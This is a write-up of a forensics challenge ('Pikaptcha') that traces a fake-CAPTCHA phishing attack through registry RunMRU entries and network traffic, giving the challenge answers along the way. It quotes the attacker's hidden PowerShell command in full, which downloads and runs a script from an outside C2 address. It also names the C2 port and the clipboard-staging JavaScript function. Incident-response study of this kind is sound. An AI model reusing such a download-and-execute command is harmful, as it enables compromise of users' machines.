Contents

Sherlock - Pikaptcha

Challenge Description: Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

Challenge Difficulty: Easy

Let’s start the challenge by looking at what artefacts we get: we have prefetch files, windows registry hives and NTUSER.dat. We are provided a network traffic file that we can open with Wireshark.

To complete this task, we can analyse the NTUSER.dat hive of the user happy grunwald. We can load the it directly in Registry Explorer:

Additionally, we can load the two logs transaction to get latest records in this hive.

In the Bookmarks tab, we can see RunMRU (Most Recently Used). It is a Windows registry key that stores a list of the last 26 commands entered in the Run dialog (Win + R) on a per-user basis.

Inside we can see the PowerShell command:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
Answer

powershell -NoP -NonI -W Hidden -Exec Bypass -Command “IEX(New-Object Net.WebClient).DownloadString(‘http://43.205.115.44/office2024install.ps1’)”

On the same screenshot we can see the time when the payload was executed

Answer

2024-09-23 05:07:45

Because it was executed in memory, we won’t find any execution evidences such as Prefetch. We now have to rely on the network capture to get back the Powershell script. We can extract the file in Wireshark.

Now we have the file on our computer, let’s compute the sha256:

 Get-FileHash -Algorithm sha256 .\office2024install.ps1

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          579284442094E1A44BEA9CFB7D8D794C8977714F827C97BCB2822A97742914DE       C:\Users\auteqia\Downloads\HTB\Pikaptcha\office2024install.ps1
Answer

579284442094E1A44BEA9CFB7D8D794C8977714F827C97BCB2822A97742914DE

As we know, the C2 IP is 43.205.115.44. The victim downloaded the .ps1script on the port 80(HTTP). Basically, if the attacker kept the same C2 IP for the next stage of the attack, the IP destination remains the same but the destination port should change. We can do a quick filter to check if this is true:

And yes!! The victim is communicating towards the C2 IP on the port 6969. The other way to do it is to look at the content of the freshly downloaded .ps1script:

And now we see the destination port.

Answer

6969

We can quickly determine how long the communication was up by doing a subtraction between the timestamp of the last TCP packet and the first.

549-146=403

Answer

403

Following the office2024install.ps1download, the victim fell into a CAPTCHA trap. We can see another HTTP request that contains a Javascript payload:

The Javascript function is stageClipboard.

Answer

stageClipboard